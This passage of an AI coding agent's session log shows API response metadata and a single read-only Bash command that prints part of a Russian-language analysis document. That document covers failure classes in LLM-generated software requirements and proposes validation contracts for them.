\"a429649739b729ad-FRA\",\n[2026-09-29T07:49:45.302Z] [STDOUT] } ReadableStream { locked: false, state: 'readable', supportsBYOB: false }\n[2026-09-29T07:49:45.306Z] [STDOUT] [log_53d4c6] response parsed {\n[2026-09-29T07:49:45.310Z] [STDOUT]   url: \"https://api.anthropic.com/v1/messages?beta=true\",\n[2026-09-29T07:49:45.313Z] [STDOUT]   status: 200,\n[2026-09-29T07:49:45.316Z] [STDOUT]   body: X {\n[2026-09-29T07:49:45.318Z] [STDOUT]     iterator: [AsyncGeneratorFunction: i],\n[2026-09-29T07:49:45.321Z] [STDOUT]     controller: AbortController {\n[2026-09-29T07:49:45.323Z] [STDOUT]       signal: [AbortSignal ...],\n[2026-09-29T07:49:45.326Z] [STDOUT]       abort: [Function: abort],\n[2026-09-29T07:49:45.330Z] [STDOUT]     },\n[2026-09-29T07:49:45.333Z] [STDOUT]     [Symbol(Symbol.asyncIterator)]: [Function],\n[2026-09-29T07:49:45.335Z] [STDOUT]     tee: [Function: tee],\n[2026-09-29T07:49:45.338Z] [STDOUT]     toReadableStream: [Function: toReadableStream],\n[2026-09-29T07:49:45.341Z] [STDOUT]   },\n[2026-09-29T07:49:45.346Z] [STDOUT]   durationMs: 784,\n[2026-09-29T07:49:45.349Z] [STDOUT] }\n[2026-09-29T07:49:45.493Z] [INFO] {\n[2026-09-29T07:49:45.493Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:45.493Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:45.493Z] [INFO]   \"estimated_tokens\": 50,\n[2026-09-29T07:49:45.493Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:45.493Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:45.493Z] [INFO]   \"uuid\": \"772d21a4-6e94-45d4-8837-0c6f5d102fb8\"\n[2026-09-29T07:49:45.493Z] [INFO] }\n[2026-09-29T07:49:46.932Z] [INFO] {\n[2026-09-29T07:49:46.932Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:46.932Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:46.932Z] [INFO]   \"estimated_tokens\": 150,\n[2026-09-29T07:49:46.932Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:46.932Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:46.932Z] [INFO]   \"uuid\": \"ee6d1f88-7837-491c-bce1-c21904d38a22\"\n[2026-09-29T07:49:46.932Z] [INFO] }\n[2026-09-29T07:49:47.279Z] [INFO] {\n[2026-09-29T07:49:47.279Z] [INFO]   \"type\": \"system\",\n[2026-09-29T07:49:47.279Z] [INFO]   \"subtype\": \"thinking_tokens\",\n[2026-09-29T07:49:47.279Z] [INFO]   \"estimated_tokens\": 276,\n[2026-09-29T07:49:47.279Z] [INFO]   \"estimated_tokens_delta\": [REDACTED],\n[2026-09-29T07:49:47.279Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:47.279Z] [INFO]   \"uuid\": \"5c322f4a-cc30-4aff-b476-e2092db4faf5\"\n[2026-09-29T07:49:47.279Z] [INFO] }\n[2026-09-29T07:49:47.286Z] [INFO] {\n[2026-09-29T07:49:47.286Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"message\": {\n[2026-09-29T07:49:47.286Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"id\": \"msg_011CfXN5tTRVTjy1pFNX5DWR\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:47.286Z] [INFO]     \"content\": [\n[2026-09-29T07:49:47.286Z] [INFO]       {\n[2026-09-29T07:49:47.286Z] [INFO]         \"type\": \"thinking\",\n[2026-09-29T07:49:47.286Z] [INFO]         \"thinking\": \"\",\n[2026-09-29T07:49:47.286Z] [INFO]         \"signature\": \"CAQSxggKEAgSGAI4AUIIdGhpbmtpbmcSDDnko6QM7QiMvpjBdhoM/A2IKxaeGa1LhfywIjCRMOreQRxDD1IaKByNx+kRjbVKiXxfvDJDMzmP7EQNifJfCUKATHdRrBmk7rnZeIcq4wcKqBQ7ZwkV08qU1p6ZKYvkjCthA8MHYxbZec/s3LgsBm1hqlpGXm2PL6Gh9pPYPgeVtnmhtKO7ho9qToHysBpriwZBIgIv3SJ4i26Sb289Z3nvyrSdssQmoqBH+bxKb7yq3ToZkihqHxKFkdFQ6kcV5mJ+ZCIBDhFNVES+v77b8aGpPxRpU50kfBBmU1MZyGj3oIqqpekYKL4l1uK1dxh1H/YJhOvCHjLjgCvetdndNUvgDt1IXa+TJ3AprkDuI1a8QrAPfdKyA7j3eMVmo0TcTKeGvjBwJxpXzzmd9s3VNTusC+q2jaQEwkfrzOJJdCt7B8cGk0lVWu2R5wtcdB2v6BXD6SojTb5VOUvazmNMClYBSPH5Rf8FWfAJ6dIoLhs7JpbtyqySv9pf+EpjIk/nutYYW7MY0pyhz32whrJ9t4IjuZVQAy74J8v8Z6/3jHW+ilpwMbxmYneWdJ/FizPiasVqn6lBp8/el3ksX9/vUv7HKvR7wiwat867jU1r7scUrc4/2P5SkNty49m3mUo4O2/8ANNQK45HMfO/u9haQf0qwxH998+mwzmDl9NJj30GYIshP/lIc1m2zj+lzTE0oQ/0qkPBVTgjR4Ri8OK6r5HPNvQ+RNQyqFLOVGm9IflHqcC8v47zKY2WtPwtO9PkOxPJY2+nTSW3YabxCXk4iBZzcmOFLwLkqARBwqHBRCXlLndbjgNCxm9rw4gJxuIKOwg1kMXDHbTCHiVw/VEbTaOYoZrkTck3/zHSgMWmgxuXsMtGFPt5tumAKeY9yXhaiBgimXIymcwLjE2XjciAro8GuEli2CJzcrUhVirgard0nFyEMNQ+fdbZ2LGcfsGzbacB2dqboSN49kogsUfPnowd1CK82Usofw1NS05TDGTyRoZoHXA64rCP54eptVRhzFRAktkGQm+QUK1DLzf6XLRZgwpK6svbFP3gZ2JwoEl8jgqSSy1aWND2aHB9rE1f/POQwPyQEBwoF7ZSqUgFaH9DSnGLecCg+pGCbnkI0q8VtDIpctRISOCW33VheUv2QYY/idPEWZLT3cIfsiauO+LCNBzcfXzxGUmLyL4SSbmrgQRSC517OBu79Zoivle5sxz2hYKlRq593bLeT3PPxJ18/tea5OWOUnByleZpYY2nTgGhqZvBimLjeRVcyNQIiOJPSi79R5CSQ/bQbEn/6/Ic2xCGh4kqpIqcxnz50gqYHviuiX9wii8wFQzw1cUX7y3oE7ByfUZehUm6rAEyo9NsErn6ngWU2Cuw1EqHj9zqsQJoaEld2JMG4MCVbrRrUUbKSjrDIvvrqP274GPNJDJ/OhgB\"\n[2026-09-29T07:49:47.286Z] [INFO]       }\n[2026-09-29T07:49:47.286Z] [INFO]     ],\n[2026-09-29T07:49:47.286Z] [INFO]     \"container\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"stop_reason\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"stop_sequence\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"stop_details\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"usage\": {\n[2026-09-29T07:49:47.286Z] [INFO]       \"input_tokens\": 2,\n[2026-09-29T07:49:47.286Z] [INFO]       \"cache_creation_input_tokens\": 6213,\n[2026-09-29T07:49:47.286Z] [INFO]       \"cache_read_input_tokens\": 73375,\n[2026-09-29T07:49:47.286Z] [INFO]       \"cache_creation\": {\n[2026-09-29T07:49:47.286Z] [INFO]         \"ephemeral_5m_input_tokens\": 0,\n[2026-09-29T07:49:47.286Z] [INFO]         \"ephemeral_1h_input_tokens\": 6213\n[2026-09-29T07:49:47.286Z] [INFO]       },\n[2026-09-29T07:49:47.286Z] [INFO]       \"output_tokens\": 4,\n[2026-09-29T07:49:47.286Z] [INFO]       \"service_tier\": \"standard\",\n[2026-09-29T07:49:47.286Z] [INFO]       \"inference_geo\": \"not_available\"\n[2026-09-29T07:49:47.286Z] [INFO]     },\n[2026-09-29T07:49:47.286Z] [INFO]     \"input_transformations\": [],\n[2026-09-29T07:49:47.286Z] [INFO]     \"diagnostics\": null,\n[2026-09-29T07:49:47.286Z] [INFO]     \"context_management\": null\n[2026-09-29T07:49:47.286Z] [INFO]   },\n[2026-09-29T07:49:47.286Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:47.286Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"uuid\": \"7282d08c-806d-4798-8ae0-cb3e119e6499\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:47.278Z\",\n[2026-09-29T07:49:47.286Z] [INFO]   \"request_id\": \"req_011CfXN5sxAHrJ87BXUsKEdj\"\n[2026-09-29T07:49:47.286Z] [INFO] }\n[2026-09-29T07:49:48.325Z] [INFO] {\n[2026-09-29T07:49:48.325Z] [INFO]   \"type\": \"assistant\",\n[2026-09-29T07:49:48.325Z] [INFO]   \"message\": {\n[2026-09-29T07:49:48.325Z] [INFO]     \"model\": \"claude-opus-5-5\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"id\": \"msg_011CfXN5tTRVTjy1pFNX5DWR\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"type\": \"message\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"role\": \"assistant\",\n[2026-09-29T07:49:48.325Z] [INFO]     \"content\": [\n[2026-09-29T07:49:48.325Z] [INFO]       {\n[2026-09-29T07:49:48.325Z] [INFO]         \"type\": \"tool_use\",\n[2026-09-29T07:49:48.325Z] [INFO]         \"id\": \"toolu_016QzXSiSLeTUXSpG86Y33vp\",\n[2026-09-29T07:49:48.325Z] [INFO]         \"name\": \"Bash\",\n[2026-09-29T07:49:48.325Z] [INFO]         \"input\": {\n[2026-09-29T07:49:48.325Z] [INFO]           \"command\": \"cd /tmp/gh-issue-solver-1790667776920; F=projects/ba-ai-process/docs/analysis/2026-09-23-requirements-run-forensics.md; sed -n 1,60p $F | grep -v \\\"^  - \\\" | cut -c1-500 | sed -n 12,60p\",\n[2026-09-29T07:49:48.325Z] [INFO]           \"description\": \"Read forensics BLUF for exact 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\"toolu_016QzXSiSLeTUXSpG86Y33vp\",\n[2026-09-29T07:49:49.566Z] [INFO]         \"type\": \"tool_result\",\n[2026-09-29T07:49:49.566Z] [INFO]         \"content\": \"# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u043e\u0439 \u0438 \u0442\u0440\u0435\u043c\u044f \u0433\u0435\u0439\u0442\u0430\u043c\u0438:\\n\u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c, \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u043c \u0438 \u0447\u0435\u043b\u043e\u0432\u0435\u0447\u0435\u0441\u043a\u0438\u043c.\\n\\n\u041f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u043c\u044b\u0435 \u043d\u0438\u0436\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u044e\u0442, \u043d\u043e \u043d\u0435 \u0437\u0430\u043c\u0435\u043d\u044f\u044e\u0442 \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0438\u0439\\n[RFC \u0443\u0440\u043e\u0432\u043d\u044f \u0430\u0431\u0441\u0442\u0440\u0430\u043a\u0446\u0438\u0438 \u0438 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432\u043e\u0439 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0446\u0438\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-bcreq-abstraction-and-product-routing.md).\\n\u0418\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u044b \u043f\u0440\u0438\u043d\u044f\u0442\u044b \u043a\u0430\u043a \u043e\u0441\u043d\u043e\u0432\u0430\u043d\u0438\u0435 \u0434\u043b\u044f Source-\u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u043e\u0432 \u0432\\n[issue #609](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/issues/609),\\n\u043d\u043e \u0441\u0430\u043c\u0438 \u043f\u043e \u0441\u0435\u0431\u0435 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0440\u0430\u0437\u0440\u0435\u0448\u0435\u043d\u0438\u0435\u043c \u043c\u0435\u043d\u044f\u0442\u044c runtime-\u043f\u0430\u043a\u0435\u0442. \u041f\u0440\u0435\u0434\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u0439\\nissue \u043f\u0443\u0442\u044c `docs/contracts/` \u043d\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d: \u043e\u043d\\n\u0437\u0430\u043f\u0440\u0435\u0449\u0451\u043d \u043a\u0430\u043d\u043e\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u043c `AGENTS.md`; Analysis \u0440\u0430\u0437\u043c\u0435\u0449\u0451\u043d \u0432 \u043a\u043e\u043d\u0442\u0443\u0440\u0435 \u0438\u043d\u0438\u0446\u0438\u0430\u0442\u0438\u0432\u044b.\\n\\n## \u041a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u0438 \u043e\u0445\u0432\u0430\u0442\\n\\n\u0421\u043d\u0438\u043c\u043e\u043a \u043d\u0430 2026-09-23 \u0432\u043a\u043b\u044e\u0447\u0430\u0435\u0442 \u0432\u0441\u0435 67 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u043e\u0432 `RUN-0001`\u2026`RUN-0067` legacy-\\n\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u044f \u043d\u0430 commit\\n[`8cbf82a`](https://github.com/G-Ivan-A/mango_ba_prompts/tree/8cbf82aa73129ec5747af07f790aaf438b0fb6e9/runs),\\n27 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 JSON-\u044d\u043a\u0441\u043f\u043e\u0440\u0442\u043e\u0432, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0441\u044b\u043b\u0430\u044e\u0442\u0441\u044f metadata \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432, \u0438\\n\u0442\u0440\u0438 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f issue #605. \u0414\u0432\u0430 JSON-\u0432\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442 \u0434\u0438\u0430\u043b\u043e\u0433\u0438 BCREQ-1104 \u0438\\nBCREQ-1106; \u0442\u0435\u043a\u0441\u0442\u043e\u0432\u043e\u0435 \u0432\u043b\u043e\u0436\u0435\u043d\u0438\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043e \u0442\u043e\u043b\u044c\u043a\u043e \u043a\u0430\u043a \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442 \u043f\u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438.\\n\u0412\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0447\u0438\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0438 \u0432 \u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439 \u043d\u0435 \u043f\u0435\u0440\u0435\u043d\u043e\u0441\u0438\u043b\u0438\u0441\u044c.\\n\\n\u0415\u0434\u0438\u043d\u0438\u0446\u0430 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u2014 \u043d\u0430\u0431\u043b\u044e\u0434\u0430\u0435\u043c\u043e\u0435 \u0443\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u0438\u043b\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442\u0430, \u0430 \u043d\u0435\\n\u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u0430\u044f \u043f\u0440\u0438\u0447\u0438\u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u044f \u043c\u043e\u0434\u0435\u043b\u0438. \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0437\u0434\u0435\u0441\u044c \u043d\u0435\u0442 \u043f\u0441\u0438\u0445\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445\\n\u043e\u0431\u044a\u044f\u0441\u043d\u0435\u043d\u0438\u0439: \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432\u0445\u043e\u0434, \u0432\u044b\u0445\u043e\u0434, \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u043d\u044b\u0439 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0438 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u043c\u043e\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u043e.\\n\u0421\u0442\u0430\u0442\u0438\u0441\u0442\u0438\u043a\u0430 \u043a\u043e\u043d\u043a\u0440\u0435\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0433\u043e\u043d\u0430 \u043d\u0435 \u044d\u043a\u0441\u0442\u0440\u0430\u043f\u043e\u043b\u0438\u0440\u0443\u0435\u0442\u0441\u044f \u043d\u0430 \u0432\u0441\u044e \u043f\u043e\u043f\u0443\u043b\u044f\u0446\u0438\u044e \u0431\u0435\u0437\\n\u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430. \u0414\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u044f\u0435\u043c\u043e\u0439 \u0438\u043d\u0432\u0435\u043d\u0442\u0430\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d read-only \u0441\u043a\u0440\u0438\u043f\u0442\\n[`issue_605_run_inventory.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/issue-605-67068bc98bc2/projects/ba-ai-process/experiments/issue_605_run_inventory.py).\\n\\n### \u041f\u043e\u043b\u043d\u043e\u0442\u0430 evidence\\n\\n| \u0421\u0440\u0435\u0437 | \u041a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e | \u041a\u0430\u043a \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d |\\n| --- | ---: | --- |\\n| \u0412\u0441\u0435 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0438 runs | 67 | Metadata, outputs, logs \u0438 feedback \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u044b \u0434\u043b\u044f \u043a\u0430\u0436\u0434\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430. |\\n| \u041f\u043e\u043b\u043d\u044b\u0439 \u0434\u0438\u0430\u043b\u043e\u0433 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0435 run | 17 | \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u0440\u0430\u0437\u0431\u043e\u0440 \u0440\u0435\u043f\u043b\u0438\u043a \u0438 \u0438\u0442\u043e\u0433\u043e\u0432. |\",\n[2026-09-29T07:49:49.566Z] [INFO]         \"is_error\": false\n[2026-09-29T07:49:49.566Z] [INFO]       }\n[2026-09-29T07:49:49.566Z] [INFO]     ]\n[2026-09-29T07:49:49.566Z] [INFO]   },\n[2026-09-29T07:49:49.566Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:49:49.566Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:49:49.566Z] [INFO]   \"uuid\": \"a9b5e502-8f4d-414d-8a5f-86d07e1c10f7\",\n[2026-09-29T07:49:49.566Z] [INFO]   \"timestamp\": \"2026-09-29T07:49:49.557Z\",\n[2026-09-29T07:49:49.566Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:49:49.566Z] [INFO]     \"stdout\": \"# \u0424\u043e\u0440\u0435\u043d\u0437\u0438\u043a\u0430 \u043f\u0440\u043e\u0433\u043e\u043d\u043e\u0432 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u0441\u0442\u0440\u043e\u0433\u0438\u0439 \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\\n\\n## \u0420\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\\n\\n\u041a\u043e\u0440\u043f\u0443\u0441 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0435\u0442 \u043d\u0435 \u0435\u0434\u0438\u043d\u0438\u0447\u043d\u0443\u044e \u043e\u0448\u0438\u0431\u043a\u0443 \u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u043a\u0438, \u0430 \u0447\u0435\u0442\u044b\u0440\u0435 \u043d\u0435\u0437\u0430\u0432\u0438\u0441\u0438\u043c\u044b\u0445\\n\u043a\u043b\u0430\u0441\u0441\u0430 \u043e\u0442\u043a\u0430\u0437\u0430: \u043d\u0435\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0451\u043d\u043d\u044b\u0439 \u0444\u0430\u043a\u0442 \u043f\u043e\u0432\u044b\u0448\u0430\u0435\u0442\u0441\u044f \u0434\u043e \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u044f; \u0442\u0435\u043a\u0443\u0449\u0435\u0435\\n\u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435, \u0440\u0435\u0448\u0435\u043d\u0438\u0435, UI \u0438\u043b\u0438 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u043e\u0448\u0438\u0431\u043e\u0447\u043d\u043e \u0441\u0442\u0430\u043d\u043e\u0432\u044f\u0442\u0441\u044f \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0430\u043b\u044c\u043d\u044b\u043c\\n\u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435\u043c; \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u0442\u0435\u043a\u0441\u0442\u0430 \u0442\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043c\u0435\u0436\u0434\u0443 \u0438\u0442\u0435\u0440\u0430\u0446\u0438\u044f\u043c\u0438;\\n\u043e\u0442\u0440\u0430\u0441\u043b\u0435\u0432\u0430\u044f \u043a\u043b\u0430\u0441\u0441\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0437\u0430\u044f\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0431\u0435\u0437 \u0432\u0435\u0440\u0441\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u0438 \u0442\u043e\u0447\u043d\u043e\u0433\u043e\\n\u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u0430. \u041b\u0435\u0447\u0435\u043d\u0438\u0435 \u0442\u043e\u043b\u044c\u043a\u043e prompt-\u043e\u043c \u044d\u0442\u0438 \u043e\u0442\u043a\u0430\u0437\u044b \u043d\u0435 \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442. \u041d\u0443\u0436\u0435\u043d\\n\u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442 \u0441 \u0440\u0430\u0437\u0434\u0435\u043b\u044c\u043d\u044b\u043c\u0438 \u0438\u043d\u0432\u0430\u0440\u0438\u0430\u043d\u0442\u0430\u043c\u0438 \u0434\u043b\u044f FR, UC \u0438 NFR, \u0440\u0435\u0435\u0441\u0442\u0440\u043e\u043c\\n\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432, \u043c\u0430\u0442\u0440\u0438\u0446\u0435\u0439 `as-is \u2192 delta`, 